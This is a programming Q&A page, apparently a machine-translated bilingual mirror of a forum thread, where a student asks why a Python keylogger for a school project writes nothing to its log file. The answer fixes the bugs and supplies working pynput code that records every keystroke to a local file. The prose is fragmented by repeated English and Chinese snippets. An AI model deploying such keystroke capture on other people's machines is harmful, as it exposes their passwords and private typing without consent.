[英]Python Keylogger: .txt file won't save my keystrokes
I am creating a keylogger with Python as part of a school project, and I so far enabled my program to record user keystrokes.作为学校项目的一部分,我正在使用 Python 创建一个键盘记录器,到目前为止,我已经启用了我的程序来记录用户的击键。 I want those keystrokes to save to a file called 'log.txt' and I have written the code for it, but the 'log.txt' file, saves nothing and it is just blank.
我希望将这些击键保存到一个名为“log.txt”的文件中,我已经为它编写了代码,但是“log.txt”文件没有保存任何内容,它只是空白。
How can I fix this?我怎样才能解决这个问题? Here is my code.
这是我的代码。
count = 0
keys = [""]
def key_pressed(key):
global keys, count
keys = '{0}'.format(key)
print(keys)
if count >= 10:
count = 0
log_2_file(keys)
keys = [""]
def log_2_file(keys):
with open(file, path + ext + file, "a") as log_file:
for key in keys:
log_file(str(key))
def key_released(key):
if key == keyboard.Key.esc:
return False
with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
loop.join()
Your help would be much appreciated, I have no idea where I am going wrong, and coming here is an absolute last resort.非常感谢您的帮助,我不知道我哪里出错了,来到这里绝对是最后的选择。
(By the way, I'm coding in IDLE 3.7.0) (顺便说一句,我在 IDLE 3.7.0 中编码)
You have made several mistakes in your code.您在代码中犯了几个错误。
In the log_2_file
function:在
log_2_file
function 中:
with open(file, path + ext + file, "a")
. with open(file, path + ext + file, "a")
。 You pass three args to open(...)
here.open(...)
。 Although open
supports more then 2 args, buffering
, for instance (see this question and answer ), it looks that you have just mixed something up.open
支持超过 2 个参数,例如buffering
(请参阅此问题和答案),但看起来您只是混淆了一些东西。 So I replaced two first args ( file, path + ext + file
) with just "keylogger.log"
."keylogger.log"
替换了前两个参数( file, path + ext + file
)。log_file('str(key)')
. log_file('str(key)')
。 log_flie
is not a function here, it is a file object. It is not callable, and when you are about to write something in it, you should use its .write(something)
method instead.log_flie
不是function,而是一个文件object。它是不可调用的,当你要往里面写东西的时候,应该用它的.write(something)
方法代替。 You also should add log_file.flush()
to be sure that changes appear immediately (not just after you .close()
the file, or exit out of the with open(...) as...:
body)log_file.flush()
以确保更改立即出现(不仅仅是在您.close()
文件之后,或者退出with open(...) as...:
body 之后)keys
to [""]
before you are trying to write a block of 10 keypresses.keys
设置为[""]
。 It's a bad idea, because the first line of the log file is just empty.keys
to a file and then write a newline.keys
写入文件,然后写一个换行符。 In the key_pressed
function:在
key_pressed
function 中:
{0}.format(key)
instead of str(key)
.{0}.format(key)
而不是str(key)
。keys
list.keys
列表中。 But instead you are just setting the keys
value to the str(key)
.keys
设置为str(key)
。count
value at all, so it never equal to 10. On the contrary, it is always 0.count
数值,因此它永远不会等于 10。相反,它始终为 0。count >= 10
.count >= 10
是个坏主意。 Before it is going to be more than 10, it will definitely be 10
and the count will be 0 again.10
,计数又是0。 So, use count == 10
instead.count == 10
。 Here is the updated version of code:这是代码的更新版本:
from pynput import keyboard
count, keys = 0, []
def log_2_file(keys):
with open("keylogger.log", "a") as log_file:
for key in keys:
log_file.write(str(key) + "\n")
log_file.flush()
log_file.write("\n")
def key_pressed(key):
global keys, count
keys.append(str(key))
count += 1
if count == 10:
log_2_file(keys)
count, keys = 0, []
def key_released(key):
if key == keyboard.Key.esc:
return False
with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
loop.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.